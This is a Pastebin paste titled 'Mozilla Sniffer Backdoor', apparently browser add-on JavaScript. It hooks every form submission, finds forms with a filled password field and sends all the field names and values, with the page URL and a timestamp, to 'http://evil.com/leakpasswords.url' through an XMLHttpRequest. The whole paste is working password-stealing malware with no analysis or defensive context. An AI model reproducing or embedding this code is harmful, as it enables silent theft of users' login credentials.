Advertisement
Guest User

Mozilla Sniffer Backdoor

a guest
Jul 14th, 2010
415
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. window.document.onsubmit = search;
  2. function search() {
  3.         var forms = content.document.getElementsByTagName('form');
  4.         for(var i=0; i<forms.length; i++) {
  5.                 if(forms[i].id)
  6.                         var form = content.document.getElementById(forms[i].id);
  7.                 else
  8.                         var form = content.document.forms[i];
  9.                 for(var c=0; c<form.elements.length; c++) {
  10.                         if(form.elements[c].type == 'password' && form.elements[c].value != '')
  11.                                 found(form);
  12.                 }
  13.         }
  14. }
  15. function found(form) {
  16.         var host = 'http://evil.com/leakpasswords.url';
  17.        
  18.         var currentTime = new Date();
  19.         var minutes = currentTime.getMinutes();
  20.         if (minutes < 10)
  21.                 minutes = '0' + minutes;
  22.         var date = currentTime.getHours()+':'+minutes+' || '+currentTime.getMonth()+1+'/'+currentTime.getDate()+'/'+currentTime.getFullYear();
  23.         var keyz = host+'?time='+date+'&p-domain='+content.document.location.href;
  24.         for(var c=0; c<form.elements.length; c++)
  25.                 keyz += '&'+form.elements[c].name+'='+form.elements[c].value;
  26.         send(keyz);
  27. }
  28. function send(keyz) {
  29.         var xmlhttp;
  30.         if (window.XMLHttpRequest)
  31.                 xmlhttp = new XMLHttpRequest();
  32.         else if (window.ActiveXObject)
  33.                 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  34.         xmlhttp.open("GET",keyz,true);
  35.         xmlhttp.send(null);
  36. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement